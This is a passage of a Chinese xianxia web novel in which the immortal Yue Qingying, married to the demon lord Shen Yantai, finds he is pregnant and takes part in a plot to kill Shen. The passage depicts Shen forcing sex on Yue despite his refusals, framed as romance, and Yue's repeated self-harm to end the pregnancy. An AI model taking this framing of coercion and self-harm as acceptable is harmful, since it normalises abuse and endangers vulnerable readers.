他先前还在月轻盈面前炫耀,魔尊经常去看他,不曾想,他们竟然连孩子都搞出来了! 月轻盈真是不要脸! 不是仙临山第一仙尊吗! 不是被魔尊杀了两个爱徒、一众正道修士吗,他是怎么肯雌伏于男人身下,甚至给仇人怀崽! 他嫉妒! 更怨沈砚台每次去他那里只是坐坐,什么都不做,只要他开始诱惑他,他就离开! 就这,他一辈子都别想怀上魔尊的孩子! 宋先灵眼里的杀意渐浓。 “主子,这个月轻盈留不得啊。” 小白说:“若是让他成功诞下子嗣,日后主子诞下的孩子,不仅要比他的孩子低一头,如今魔尊宠爱月轻盈,搞不好,他以后的孩子还能继承魔尊尊位!” 宋先灵一阵心急火燎。 小白说的这些,他通通都想过,他知道,他的姿色不比月轻盈,也不是他清冷却勾人那一挂。 所以魔尊不是没道理会做出只宠月轻盈一个人的事。 再者说,这个月轻盈体内还有天骨,天骨可是魔族人的忌讳。 这个月轻盈留不得! “找个机会……” 宋先灵和小白交换了一个眼神。 月轻盈对此一概不知,他在小狐狸的搀扶下回到了房内。 说来也蹊跷,他吃点酸口的梅子就不会干呕了,甚至胃口大开,想吃东西了。 小狐狸精明能干,一眼看穿他的心思,不动声色找来食物,连由头都想好了。 “想来尊后会干呕,是最近吃的少了,饿的。” 看着一桌子清爽不油腻,闻味也不会让他反感的食物,月轻盈雪白耳朵染着粉,坐下来吃了两口。 吃完他就困了,倒在床上睡了过去。 小狐狸在一旁不时观察他的情况,满心期待的看着他的腹部,口中小声念叨。 “小主子,你父亲在睡觉可别闹他,乖乖,等你出生,你想要什么,小狐狸都亲手给你摘! 月轻盈一直睡到入夜了才醒。 将小狐狸给他准备的吃食吃完后,他又困意上涌,窝了回去。 就在这夜,天边的圆月竟是显现出了几分血色。 一袭黑衣人钻了沈砚台外出,没有巡视领地的空子,摸了进来。 准确无误的找到了月轻盈的住所。 他们将一道带着术法的仙气打出,就见那仙气飘飘摇摇往目标冲过去。 众人满心期待,下一秒,不知从哪钻出来了另一批黑衣人,散了仙气,更是朝他们杀了过来! “此次计划失败,撤!” 这些黑衣人在黑夜中如潮水褪去。 而另一波人则是抢占了位置,将一道带着控制术法的魔气打入了月轻盈的体内。 月轻盈毫无所觉。 在一旁的脚踏上沉睡的小狐狸,忽然听到动静,猛地惊醒,就见本该睡着的月轻盈竟然是睁开了眼睛,正穿着衣物。 小狐狸眼里困意甚浓,狐疑:“尊后,这大半夜的您是要去哪儿?” 月轻盈眼瞳混浊,低下头看了小狐狸一眼,竟然是冲她拍出了狠绝的一掌。 “噗……”小狐狸吐血,身体在半空倒仰,最后撞到墙壁狠狠摔在地面。 “尊……后……”小狐狸气若游丝,看着月轻盈目不斜视,一步步走了出去。 尊后这分明是被人下了术法。 “魔尊……快救……”小狐狸在失去意识前,掐诀将消息传给了远在十万八千里的沈砚台。 此时的沈砚台,一身盔甲被溅满了的血,眼瞳里的杀意和野心暴露无遗。 他的脚下是妖族人被屠杀堆叠起来的尸山,他一身魔气铺天盖地。 他举刀,正欲砍下妖族之首尊主的脑袋,忽然抬眸,眼里一片深重的红色! “两息内拿下妖族,随我去救尊后!” 第35章 第35章 孩子肯定没了对不对 所有的魔族士兵在这一刻, 浑身翻涌着沸腾的杀气。 不辱使命,两息内拿下妖族。 沈砚台扫了一眼余下的那些再无反抗能力的妖族族人,施舍般道:“成为魔族的一份子, 本尊便绕你们一条命。” 他留下四个将军处置俘虏, 用心头血感应月轻盈的位置。 月光莹润。 一袭清瘦修长的身影, 在一片被人遗忘的幽暗小道上行走。 尽头处,已然等着几个黑衣人。 从群中走出来一人,指尖运着术法在月轻盈的额心点了一下。 月轻盈眼睫颤抖了两下,意识恢复, 他抬眼, 刚好瞧见黑衣人拉下面罩。 “小河?”他不自禁地出声。 “师尊。” 来人正是小河,他脸上有着真挚的喜悦, 月轻盈被感染,嘴角不自觉扬起弧度。 “小河, 你这是……”他问出疑问。 “师尊,我身后的这些人都是正道修士。” 小河话落音, 月轻盈便瞧见这些人都将面罩摘了下来。 都是熟悉的面孔, 让他错愕的是, 江源也在。 “师尊,这些人便是先前我同你提到的同道中人。” 小河说:“我们先前讨论让你给沈砚台下毒, 后来想想,这个方法也实在冒险, 我们合计了一番, 打算还是将你救出来。 让你能借用天骨的优势好好修炼,假以时日,我们东山再起找机会再灭了沈砚台!” 月轻盈看着小河,听他说计谋, 心有慰籍,他现在俨然一副是这群人首领的样子。 孩子长大了,越发沉稳了。 这么有想法的孩子,他做为师尊怎么能不支持。 主要的原因,还是因为他无法在沈砚台身边呆下去了。 每天为了骗他吃下毒药,他挖空心思,还要赔上自己的身体,他也着实累了。 想到身上那些斑驳纵横的痕迹,仍然还在抽痛的某处,月轻盈深吸一口气,抗拒闭眼,再睁开眼时,眼底坚毅。 “好,我同你们一起走。 小河身后江源等人,闻言,心里也松了一口气。 他们见过沈砚台的狠,恶,绝,为了保命,为了给师兄弟们报仇,他们现在唯一的生机就是月轻盈了。 如今能抓住月轻盈,他们也不求天骨了,只要他能利用好天骨勤恳修炼,他日杀了沈砚台,灭了魔族,他们愿意再奉承他为第一仙尊。 “师尊,事不宜迟,我们连夜就走,以防沈砚台追上来。” 他们无法承受住沈砚台的怒火,小河等人带走月轻盈,此刻也是心惊胆颤。 就在众人匆忙赶路的间隙,不知道是不是仙气运行太猛烈,月轻盈突然胃部不适,没忍住干呕了起来。 众人的行程慢了下来。 看着走到一边,捂着心口不住干呕,太过难受而泪湿了眼底的月轻盈,众人脸色皆有不妙。 “他这是怎么了!” “好端端的如何会干呕?” “这个反应怎么那么像……” 江源是老一辈的修士了,懂的也自然多些,他目光深沉,走到月轻盈身边,蛮横的扣住了他的手腕。 “好啊,你果然是怀孕了!”稍稍一搭脉,江源整个人都变得暴戾了起来。 他一把甩开月轻盈的手,反应很是激烈,对众人道:“月轻盈怀孕了,让他用天骨修炼再除掉沈砚台的计划不会成功!” “什么!” “怀孕!?” 众人惊呼,不可置信地看着月轻盈。 小河更是直接低头看向了月轻盈的腹部,那里很是平坦,一点怀孕的弧度都没有。 月轻盈整个人也茫然着,他强行压下干呕的不适,看向江源。 “江源道友,你莫要玩笑,我一个男人怎可怀孕?” “是啊,月仙尊是男人,江源道友你莫不是把脉时滑脉了。” “天地有阴阳,世间分男女,只有女人会怀孕,江源道友你这话可不能瞎说啊。” 这些人也是有脑子的,不是胡乱帮腔。 江源要被气死了,直接吼了出来,“你们忘了吗,他和沈魔头大婚那日,我们可是送了不少的孕丹!” 众人一愣。 江源不在管他们,眼神阴冷的看向月轻盈,不住逼问:“你说,你是不是吃了那些药!” 月轻盈惶惶不可知。 江源又问:“还是说,是沈砚台设计你,让你吃了那些东西!” “我……我不知道……”月轻盈被江源一连串的话给砸傻了。 孕丹,怀孕……… 他想起自己被沈砚台强迫,近些天和他频繁呆在一起做的那些事,顿时,他升起一股无力感。 “不可能……不可能的……”月轻盈垂首看着自己的腹部,不敢深想,缓缓摇头。 见他不承认,江源眼里闪过精光,戾喝了一声。 “好!既然如此,那你们都来给月轻盈把脉,若是只有我一个人错了,那便是我学艺不精,但若是你们把脉出的也是喜脉……” 他话里还有保留。 众人对视,犹豫了几瞬,道了一句得罪,便执起月轻盈的手腕,凝神搭脉。 几息后,众人脸色齐齐变得难看。 小河见状,迟疑上前,待摸到脉中有脉时,他眼皮一跳,深深闭上了眼睛。 月轻盈一开始还期许是这些老一辈修士们号脉号错了,可直到看见小河亦是脸色沉重,便知,尘埃落定。 他,的的确确怀了沈砚台的孩子。 “不是这样的……不是的,我没有沈砚台给我吃药的记忆……我怎么能怀上沈砚台的孩子!他是我的仇人啊,不是的……不会的……” 月轻盈抬手摸自己尚且平坦的腹部,他脸色怔忡,随即,神情决绝,手握拳,一下下捶打起自己的肚子。 他就是死也不可能给沈砚台生孩子! “噗……”月轻盈是下了死手,将自己的五脏六腑都打烂了,打到吐血了,还在一下下狠力捶打。 “师尊!” 小河看不下去了,上前阻拦。 月轻盈站立不稳,身子缓缓往下跌倒,被小河接住,他靠在徒弟怀里,气息不稳,眼里有着疯狂。 “小河……师尊是不是把孩子打掉了,我那么用力的打,他没了对不对!” 他迫切的扯住了小河的衣摆,眼里有着慌乱,语气不稳逐渐崩溃。 “小河,你再帮师尊号脉,孩子肯定没了对不对!” 第36章 第36章 扇我巴掌是不是有助于安胎…… 小河垂首, 手指一动搭上他的脉搏。 看着师尊清瘦的身躯,一把堪堪就要折断的傲骨,眼眸沉痛, 缓缓摇头, “师尊, 这孩子求生欲强,难。” 闻言,月轻盈难以接受,欲哭不哭, 他抓紧小河, 像是抓住最后一根稻草,急道:“小河, 你用剑,对, 你用剑捅穿我的肚子,我不信他死不了!” 他不可能为沈砚台这个魔头诞下孩子, 徒增孽障! “师尊……”小河满目艰难, “我下不了手……” “小河……你听我说……这个孩子是孽种, 他不能活!”月轻盈摇晃小河的肩膀,只认定孩子必须死。 小河又怎能杀死对自己有养育之恩, 教养之恩的师尊。 两人拉扯,最后是江源忍不住了。 “你们两个推来推去个没完, 让我来!” 他拿起刀就对准了月轻盈, 可刀尖却是对着他的仙骨位置。 他不是要杀了月轻盈肚子里的孩子,他是要活剖天骨! 江源动作快,众人阻拦不及,只见眼前闪过兵器的冷光, 就听一声噗嗤穿透皮肉的声音。 小河只觉得身上有重力一沉,鼻端就嗅到了血腥味。 月轻盈脸色煞白,大口的血从他的唇边低落,他额角都是汗水,神情却似解脱了那般平静。 “小河……我最大的遗憾就是没能见到你们师兄弟三人长大……” “这次也好……你待我死后,取出天骨,莫要和沈砚台斗了,找个地方隐居起来好生修炼,超脱这世间,你飞升后便可无忧无虑,自在逍遥了。” “师尊。”小河眼里闪烁着动容,先前他就听月轻盈说过要把天骨给他。 此时此刻,他方知,原来师尊是真的在为他做打算。 “我不要天骨,师尊,你这条命是小川师兄和小宵师弟换来的,你若是死了,便是对不起他们二人。” 小河眼里有着柔软,转头眸子闪着冷光,转手朝着江源拍出一掌。 江源猛地倒飞出去,他看着月轻盈背后差点露出的天骨,眼里浮现贪婪和不甘心。 就在他要稳住身体,做下决定,哪怕是杀了在场所有人,和其他人作对,也要得到天骨的时候,他突然胸腔剧痛。 他满眼茫然,低下头,不可置信的看着多出来的一截箭矢。 他被人从背后洞穿了心脏。 他身影僵直,却仍不肯死心,执着扭头的要看是谁对他痛下杀手。 幽深的月光下,一对士兵似城墙那般坚固,成了一道黑色屏障,他们浑身杀气翻涌,像是刚才战场上浴血奋战归来。 为首的人,手持一把弯弓,箭搭在弦上,蓄势待发。 “你这个贼心不死的老东西,总想着觊觎别人的东西,有没有想过,别人也想要你的命?” 沈砚台脸上还有干涸的血迹,眉眼有着深重的杀气,他看着江源胸前不住往外喷血的伤口,收了弓。 他步伐沉稳的来到月轻盈身边,眉间有着愠怒,“你为什么又让自己受伤! 月轻盈靠在小河的怀里,倏然笑了,像是知道要死了一样,他对着沈砚台竟然也是和颜悦色了起来。 “沈砚台,我要死了。” 他缓缓抬手搭在自己的肚子上,报复性地道:“你的孩子将会和我一起死。” 沈砚台知道他这副平稳下即将崩塌的情绪,很好脾气道:“嗯,你好厉害。” 夸完月轻盈,他趁着他愣神之际,用术法让他昏睡过去。 他弯腰,从不知何时身躯变地僵硬的小河怀中将月轻盈抱走了。 小河听着耳边走远的脚步声,想到小川小宵,眼里恨意滔天,可是他怎么不敢动,浑身都在发抖。 这一刻,他为自己的无能感到痛心疾首。 沈砚台回到队列中心位置,扫了一眼已经倒地的江源,其他早已浑身僵硬的正道修士,掠过了小河,下了命令。 “你们刚从战场上下来,想必血还是沸腾的,这几个人便留给你们磨磨杀气。” 话一落音,沈砚台身边的士兵便冲这这些人杀了过去。 全都杀了,唯独没动小河。 温热的血溅在身上,呼救声在耳边越发清晰沉痛,看着逐渐倒下的尸体,小河在这一刻,悲莫过于出声。 沈砚台带着月轻盈来到别云间。 他无暇去看,又抽了新枝的撼天树,成了兔猪的雪月兔,已经长出了嫩芽的花花草草,在水里游荡欢快吐泡泡的鱼。 他变出了原身,如上次那般,将月轻盈箍在怀中,用开辟的筋脉中吸收的仙气,和心头血喂养月轻盈。 周身徜徉着一股让人昏昏欲睡的暖意,月轻盈觉得这是他从不停经历失去,第一次那么的舒适。 舒适的有些不真实。 他的师傅跟他说过,人死如灯灭,他……不该有感觉的才是。 他猛地睁开眼,四下张望,很是警惕,场景很熟悉,这里是他的月华宫。 他的意识感知,逐渐回笼,察觉到身侧还有一股热源,他心猛地惊跳,缓缓回头。 沈砚台正在沉睡。 压下月轻盈的天骨,给他喝自己的心头血,损伤筋脉炼化仙气渡给他,使他元气大伤,脸色苍白如纸。 见到是他,月轻盈身躯颤抖起来,眼角自然流出了眼泪。 为什么,沈砚台要救他,就是不肯放过他? 对了。 孩子! 月轻盈顿住,低下头去看自己的腹部,不知道是不是他的错觉,他觉得他的肚子浑圆了不少。 沈砚台……留下了孩子? 月轻盈困惑狐疑不解。 沈砚台救他,他知道是他还没有羞辱够他,留下孩子,亦是为了拿他取乐吗? 气上心头,恨意翻涌,月轻盈不管不顾,劈头盖脸巴掌啪啪糊在了沈砚台的脸上。 可是这斯的脸皮,竟然堪比石头,看着泛红的掌心,月轻盈探出一脚,想将沈砚台踹下去。 脚刚动,他的脚踝就被一只滚烫的大手扣住,稍稍用力按在了原处。 “怀孕了就是不一样,嚣张了不少,扇我巴掌是不是有助于你安胎?” 沈砚台悠悠转醒,没睡好他的嗓音混浊喑哑,睁开的眸子里,眼睛上还布满了血丝。 第37章 第37章 孩子还没和爹打过招呼吧 “安胎?” 月轻盈眼里是血淋淋的恨, 冷道:“我恨不得弄死这个东西!” 沈砚台坐起身,宽厚精壮的胸膛还有一处刀伤,他肌肉勃发, 浑身慵懒。 “弄死?” 他挑眉, 不甚在意道:“别说的我想要这个东西一样, 留着他不过是用来羞辱你。” 月轻盈脸色煞白,唇瓣颤抖,他就知道。 “怎么了,更加恨我了?” 沈砚台起身穿衣, 扣好腰带, 他回身掐住了月轻盈尖巧的下巴。 “你只要不把这个东西放在心上,他就完全不会对你造成伤害。” “不可能!”月轻盈打开沈砚台的手, 跟着坐起来,咬牙切齿, 一字一句,眉带凶狠。 “我不可能任由这个东西让我变得更加可笑, 也不能让正道再徒增耻辱!” “我无所谓, 你尽管去试, 他要是真被你弄掉了,我也能更加省心。” 毕竟他也不想任由这个孩子分去他的命数, 加快他的死亡。 看着月轻盈愤恨的样子,沈砚台心生不爽。 他忽然有点后悔自己放任他怀孕时的自己, 可现在又不能让他把孩子打掉。 看月轻盈为此苦恼气愤, 他就感觉一阵畅快舒心。 哪怕他被分去命数,他也要月轻盈不痛快,看他为自己牵肠挂肚,他就舒心。 他眯眼, 看着恢复了活力,敢对他露出尖牙的月轻盈,就想……教训他! “说起来,这个孩子还没和他爹打过招呼吧?” 算算日子,月轻盈怀孕后,两个人就没做亲密的事了。 “打什么招呼,反正他都要死!”月轻盈警惕起来,全身心都在抗拒。 沈砚台见状,笑了,眉眼弯弯的很是愉悦,他慢条斯理的开始褪下刚穿好的衣服。 无视月轻盈的谩骂,压住他激烈的反抗,在他哭喊不要的时候,坚决要和孩子打招呼,成功了,打了很多下。 沈砚台走后,月轻盈一身破碎,他难以接受,逃避似的去了别云间。 “石墨,你不在,沈砚台总是羞辱我。”他无声哭泣,端坐在石桌前,无比想念石墨。 “如果这个孩子是你的,我一定会欣然接受。” 天不遂人愿,他有了魔头的孩子。 “哪怕是上刀山下火海,折腾掉我自己的命,我也要这个孩子死!” 接下来的时日,月轻盈只要趁沈砚台不在,就回去寒潭,将自己泡在里面。 他想用寒气入侵体内,冻死孩子,让他自然流掉。 可是不行,进了寒潭,他的腹部就会自行运转出一阵暖意,将孩子保护的密不透风。 寒潭不管用,他就去跳崖。 无数次跳崖,他都是面朝下,腹部狠狠撞击在地面,每次都是他断手断脚,孩子却坚强的攀附在他的体内。 “我不信,我不信你会这么顽强!” 月轻盈找来世上最罕见,毒性最强的毒药,每日当糖豆那般磕,仍是无用。 “为什么!” 他有些崩溃。 “刀剑不行,毒药不行,寒潭、跳崖都没用,我到底该怎么做……你才能死心,不想来这个世间?” 月轻盈泪如雨下。 他是仙尊,何其不懂,这个孩子它是无辜的,只是这个孩子就算生下来也注定不会活多久。 “为什么偏要来我的肚子里?”月轻盈沉默垂泪。 手却是有些颤抖的摸上了肚子,满心满眼的愧疚,无穷无尽的恨,他对这个孩子的感情五味杂陈。 “魔尊,尊后这几日没有去泡寒潭,跳崖,像是放弃了。” 伤好后的小狐狸还在月轻盈身旁伺候,一边监视,将他的一举一动告知沈砚台。 “事出反常必有妖。”沈砚台说罢起身,朝月华宫走了过去。 甫一推开门,就见月轻盈躺在床上,双眼阖着,眉头紧蹙,睡颜不怎么安稳。 沈砚台上前几步,在看到他脸上被石头划出来的细长的伤口,手背上被寒潭泡出来的冻疮,不知为何,心有动容。 没做妖,是累的睡着了。 真是死倔! 就这么不想要他的孩子? 还是第一仙尊呢,可以怜悯苍生,却容不下一条无辜的小生命。 沈砚台又气又恼,手指痒痒,扭动着攀上了月轻盈的脸颊,两指用力,掐起了他的脸颊肉。 手感滑腻,却没什么肉感,对比他第一次见他时脸上还弹嘟嘟的脸颊肉,着实消瘦了不少,眉眼也变得坚毅锋利了。 “真好看啊,我也算是见证你改变了的人,不是吗?” 沈砚台手指伸动,轻轻抚去他脸上的伤口,冻疮,直到完好无损才抽回手。 “石墨……”月轻盈在梦里抽泣着梦呓。 沈砚台微微出神,唇瓣抿紧成了一条线。 他手握成拳头,盯着月轻盈,眼里浮现怒意,石墨,他居然从他口中再次听到了石墨二字! 温柔耐心多次救他的石墨,就这么让他挂心,让他难忘吗! 有那么一瞬间,沈砚台想全盘托出,可看着月轻盈念着石墨又安然睡去的脸庞,又有些舍不得。 是胸闷气短,滞涩的感觉,令他心口发酸沉痛。 “再忍忍吧,忍到你露出马脚,忍到你有能力杀了我时,我便一举摧毁你。” 最后看了一眼月轻盈,见他眼角再度滑下泪珠,沈砚台眼瞳震荡,终是抽离视线,出了房间。 在他身后是表情纠结的小狐狸,她见魔尊满含怨气的背影,支支吾吾。 “有话就说。” 小狐狸说:“魔尊……其实,那晚上来的刺客有两拨……” 她记忆不是很清晰了,但仍然记得,在她昏倒前,曾亲眼见过有两股黑衣人势力。 “他们都对尊后下了手。” 不过她那个时候警觉,第一时间发现后就将消息传给了沈砚台。 “知道了,本尊回去查。” “是!”小狐狸喜出望外。 魔尊果然还是很在乎尊后。 沈砚台确实在乎。 他诡计多端,心思阴险,介怀月轻盈喊出口的那一句石墨,打算将计划提前了。 现如今他体内食灵花的毒素,靠他自己也能排解了,这时候将月轻盈连同他肚子里的孩子一同杀了,时机刚好。 他也终于可以和月轻盈划清界限。 黑衣人的势力,也是月轻盈的机会,就看他能不能抓住。 他露出杀机那一刻,就是他们决裂之时,到时候,不是你死就是我亡。 第38章 第38章 为沈砚台准备的沐浴环节…… “魔尊, 前些日子的黑衣人,今天又出现了。” 小狐狸忧心忡忡,不明白魔尊为何放任这些人接触尊后。 他难道不怕尊后被这些人欺骗, 落得个死无全尸的下场。 “他们可有对尊后刀剑相向?” “那到没有。”小狐狸摇头, 还是有些担心:“可是……” “无碍, 我自有分寸。” 见魔尊说的那么笃定,小狐狸自然不敢再怀疑,稍稍放下心。 她笨,不明白尊后怎会同意和这些曾经差点要了他命的人来往。 月轻盈亦是迫不得已。 想要杀了沈砚台的心无比强烈。 事后他回想了一下, 觉得小河等人的情况和处境应该也不会很好。 他只能出此下策, 答应和这些黑衣人交易。 庆幸的是,这些人倒也有些本事, 竟然躲过了沈砚台的探查。 “如何?” 为首的黑衣人和他确定他们的计划:“这次的计划就劳烦月仙尊先将魔头骗到树岭,之后我们再出手, 联合起来将他斩杀。” “为何选择树岭?” 月轻盈回神,有些担心树岭的仙兽会不会受到波及。 “我们也是出于担心距离远了, 沈砚台不会上当的考虑, 选择了树岭。” 此话有道理, 月轻盈眉头紧皱,心间烦乱, 语气沉重道:“你们答应我,不可伤到树岭里的仙兽们分毫, 否则, 我们的交易作废。” 黑衣人们交换了个眼色,答应了下来。 不知沈砚台什么时候会回来,商量完事后黑衣人们就消失了。 走前,为首的人递给了月轻盈一把短匕首, 刀柄镶嵌着一颗红宝石,护手位置则是繁复混杂的纹路,不知是什么图案。 刀身薄如蝉翼,见血封喉,上面充斥着铺天盖地的弑杀气息。 “将此匕首插在沈砚台的胸口,他是插翅难飞,直接会被刀柄处的红宝石吸干修为,化作一摊枯骨。” “行动时间就约定在北斗七星连线的那天。” 看着黑衣人们迅速离开的背影,月轻盈垂眸,紧紧握住了匕首。 接下来,如何将沈砚台骗到树岭,就要看他的表现了。 他只有两天的时间。 沈砚台刻意放松了把守,让小狐狸监视,见着情势差不多,开始部署。 翌日。 下着大雨的天气里,周遭是一片潮湿的黏腻,空气里也带起了丝丝入骨的凉意。 沈砚台持着一把墨色竹骨伞,进入雨幕,去月华宫寻月轻盈。 此时的月轻盈正在沐浴。 房间里热气氤氲,他泡的浑身绯红,紧紧束起象征端庄的长发披散下来,任由它随处着落在削薄的肩颈背脊四处。 一向冷清带着怜悯和悲伤的眉眼,这日变得静雅落拓,明眸皓齿,眼底清明。 他此刻异常清醒。 修士们平时只需一个清尘术就可解决衣物脏乱的问题。 今天的沐浴是他为沈砚台准备的。 他要诱惑沈砚台,加上情丹对他的控制,他务必要在今天将沈砚台带去树岭。 吱呀,推门声响。 叮铃。 沈砚台身上惯有的玉石相撞之声响起,他来了。 未及时关闭的门扉,涌入一小股劲风,吹散了旖旎的热气,带来了一丝尖锐的寒意。 沈砚台清楚的看着在水中衣不蔽体,缩抱着自己,抬眸眼睛直勾勾盯着他瞧的月轻盈。 “何故沐浴?” 他收了伞,用术法驱散一身凉意,迈开步伐靠近浴桶,伸出一手搭在桶的边缘。 “勾引你。” 沈砚台沉吟了一声,手指弹动,撩水滴落在月轻盈光洁圆润的肩头。 “嗯,桶是深色,你肤白,确实赏心悦目。” 勾引他还差了点火候。 月轻盈眼里难得的浮现出笨拙,他胆大包天说勾引,行动上却呆滞纳纳的犹如木头。 “魔尊,今日好生俊逸……”月轻盈眉头轻拢,结结巴巴的示好夸赞。 沈砚台闻言勾唇,眉眼深处有他自己都未察觉的笑意。 “嘴巴说的倒是好听。” 行动上的表示呢? 月轻盈见沈砚台抬手勾上了他潮湿的发尾,一鼓作气,站起身,浑身带着清冽浓郁的檀香,靠近沈砚台。 抬手勾住了他的脖颈,手臂微微施力,唇瓣若有似无的碰触他。 “鱼水之欢这个词我想跟夫君讨教,我在夫君眼中是鱼还是水?” 沈砚台眉眼愉悦,抬手覆上他盈盈一握的腰肢,“鱼会摆尾,水会随波逐流,你这浴桶挺好,我也想知道你是鱼还是水。” 沈砚台衔住他的唇,随着月轻盈软下去的身体,一起跌入浴桶中。 鱼会摆尾,水会随波逐流。 沈砚台答应了赴约。 月轻盈躺在床上,看着头顶玄色的床幔,一阵自我厌弃,默默握紧了手中的匕首。 黑衣人和他约定的时间是在黑夜。 月轻盈以看星辰为由,拉着沈砚台来到了树岭。 夜晚的树岭上方笼罩的结界有暗光涌动,比星辰还跃动,月轻盈见状,肉眼可见的愣住了一瞬。 “这结界……” “我虽然不是好人,但答应的事自然会做到,一百零八箭,换下的一百零八只仙兽,小盈啊,在你眼中,我是否有了改变?” 攻人先攻心,他不信月轻盈不动容。 “不……” 不曾想,月轻盈却很是清醒,眸光凌厉,“这是我拿自己的命换的。” “我下这结界也是出了不少力……”沈砚台小声嘟囔。 黑衣人就在附近,伺机而动,月轻盈也不打算演深情戏码。 “沈砚台,我恨你。” 突然听到他剖骨锥心的真话,沈砚台愣了一瞬,很快恢复成邪恶狂妄的样子。 “这句话我听的耳朵都生茧子了。” 沈砚台看着月轻盈,眸光关注,“小盈啊,你怎和那些俗人一样,这以后……我要是忘了你,你可怎么办?你那无处安放的恨意将会毫无意义。” “是啊,在我身上发生的这么沉痛深刻的恨意,怎么能只让我一个人记得?” 想到小川,小宵,无辜枉死的其他正道修士,月轻盈眼里的恨意倾泄,不再遮掩。 “沈砚台,我再问你一遍,你对那些被你杀死的生灵,心中可有悔意?” 第39章 第39章 他眼也不眨提刀捅向沈砚台的…… “小盈啊, 悔字拆开,是忄和每,你看那忄像不像一把刀将心从中间剖开了两半?” 月轻盈唇瓣翕动。 沈砚台目光凉薄:“若我悔了, 岂不是我每日都要遭受剖心的苦?” 月轻盈呼吸重了几分。 “我不悔。”沈砚台定定的看着月轻盈, 眸光里多了些玩味。 “小盈, 心被剖开两半很疼的,你不心疼我吗?” 月轻盈深知与他多说无益,握紧了手中的匕首,上前和他缠斗。 沈砚台眼睛放光, 终于, 他和月轻盈的纠纠缠缠在这天要了结了。 情势很好分辨。 沈砚台每日有月轻盈双修温养,自然要技高一筹。 月轻盈怀有孩子, 仙气运行都很艰难。 几个交手,他被打翻在地, 吐血不止,沈砚台居高临下, 看着月轻盈, 眸光幽深。 “你果真不心疼我。” 不知为何, 月轻盈竟然从他的语气中听出了隐晦的委屈。 荒谬! 沈砚台会对他摇尾乞怜? 他知道了,他又想迷惑自己。 像先前在大婚典礼上, 他为救自己不惜受伤一样,故技重施。 “我无话可说, 今日便死斗吧。” “你现在这个样子, 枯死的树叶都能将你压死,你拿什么跟我斗?” 沈砚台脸上的讥讽刚刚掀起,忽然就见自月轻盈的身后探出来一把闪着寒光的刀,刀柄的位置还系着绳索。 很明显, 这刀不是冲着他来,是冲着月轻盈来的! 他见多识广,一眼认出来,这是剜骨刀! 他也知道剜骨刀的妙用。 剜骨刀在第一阶段是一把直刀,在刀尖刺入肌肤探到骨头的时候,刀尖会一分为二,牢牢勾住骨头。 使用者在发觉剜骨刀发动成功后,会运用仙气或魔气,硬生生将剜骨刀扯出。 被盯上的人,则是要忍受被皮开肉绽继而掏空的剧痛。 沈砚台眼眸一戾! 他原本以为这些人的目的,同月轻盈一样,为了杀他而后快。 没想到,他们的目的是月轻盈体内的天骨! 笑话! 月轻盈是要死在他手上的人,他可不能忍受其他人动他分毫! 沈砚台闪身挡在月轻盈身后,剜骨刀袭来,硬生生夹住他的胳膊。 随后,他察觉出一道拉力,皮肉破碎,断骨的声音响起。 沈砚台眼皮抽动,看着自己顷刻间没了骨头支撑,皮开肉绽的断臂,深色阴沉。 这些人好毒的心机。 “身后的臭虫们,不如你们出来直接让我踩死,否则我一个个找,我很累的。” 沈砚台听见风吹草动,一边护着月轻盈,一边警惕四周。 他虽是魔尊,却也寡不敌众,加之他现在受伤,自然比全盛期要弱些。 “魔尊沈砚台,当真是如传闻的那样,很宠爱自己的尊后。” 沈砚台听声辨位,迅速回头,就见着了周边伏击着一群黑衣人,修为一般水平。 为首说话的人,实力最为强劲,不过在他看来还是很弱就是了。 “怎么了,羡慕我宠爱妻子?”战事落了下风,嘴还坚.挺的硬.着。 黑衣人一噎,脸色阴晴不定,他盯着沈砚台,看清月轻盈的动作,忽然冷笑。 “可惜你疼惜妻子,你的妻子未必如此。” “我妻子什么样,我自己会教。”沈砚台冷嗤。 下一秒,他浑身一震,接着心口处传来剧痛,他缓缓低头。 月轻盈垂着脑袋,手握着刀柄,似是察觉到他的视线,他抬眼,眼底是好不遮掩的恨意,随即,将手中的刀又往他的心脏里送进三分。 心脏就如同命门,命少了一半。 沈砚台伤口流血,口中也大口大口吐着血。 见他狼狈如此,黑衣人们嚣张大笑。 “哈哈哈哈,沈魔头也不过如此。” “自古英雄难过美人关,何况是个生活在阴暗角落,没见过世面的魔头。” “沈砚台,你马上就要死了,可还有遗言?哦,你死了之后,你的魔族也会被我们覆灭,你的遗言便等下去了在和你的魔族士兵们……!” “我有。” 沈砚台打断他的话,呼吸放缓,用力大了心口疼。 众人不知道他耍什么花招,后怕的后退了一步,紧盯他的一举一动。 只见沈砚台抬手,摸上了月轻盈好看的头顶,动作温柔又坚定的将他的手包裹住。 一寸寸的将他的手连带着匕首,一同抽出自己的体内,伤口处立时鲜血四溅。 温热的血喷到了月轻盈的脸上,他眼瞳颤抖,手不住的发抖。 他一直叫嚷着杀了沈砚台,可天地作证,他未杀死过任何一个人。 他心里一边激动沈砚台要死了,一边又惧怕他杀了人了。 各种情绪让他矛盾,以至于,他现在傻愣愣的被沈砚台牵着鼻子走。 “你们敢把妻子宠的,让他眼也不眨的提刀捅向你们的心口吗?” 月轻盈身子轻轻颤抖起来。 他听见头顶上方的沈砚台,用虚弱的语气说:“我敢。” 他怔然,随即眼睛一点点移动,看向远离他,起身朝着一边走去的沈砚台。 被人拥抱着的温暖骤失,他忽然觉得好冷,更是无意识的朝着那个,捂着心口,血流了一地,步履蹒跚的男人伸出了指尖,想要挽留他。 月轻盈呆坐在原地,分不清自己为何会有这样的心情。 他是又被沈砚台迷惑了吧。 就像大婚典礼上,他为自己挡伤时一样。 沈砚台离得月轻盈远远的。 此刻,黑衣人,月轻盈,沈砚台,三股势力,仿若成了一个三角形。 “呵,也就是因为我敢,所以我的妻子竟胆大到和别人联手来害我。” 沈砚台看着月轻盈,盯着他茫然无措的眼眸,杀意迸发。 “尊后啊,你都不心疼我吗?” 他温柔的询问,听在月轻盈耳朵里,似是在对他凌迟。 “我……” 月轻盈心乱如麻。 可是想到小川,小宵,无辜的正道人士,他眼圈红了,强装镇定下来。 “你该死,你杀了我一手养大珍爱的两个徒弟,还有那些什么错都没有的修士!” “你总说我不心疼你,你只是心疼,他们却是死了!永远的死了!” 月轻盈对着沈砚台悲伤怒骂,目光在触及到他的断臂,心口的刀伤,唇边的血迹,又慌乱的动摇了。 他莫名有些心疼他。 他痛恨自己,仅是因为他在大婚那日,和今天救了他,就觉得沈砚台似乎是个好的。 他委屈。 他本该一心执着让他死,现在却担心他真的会死了。 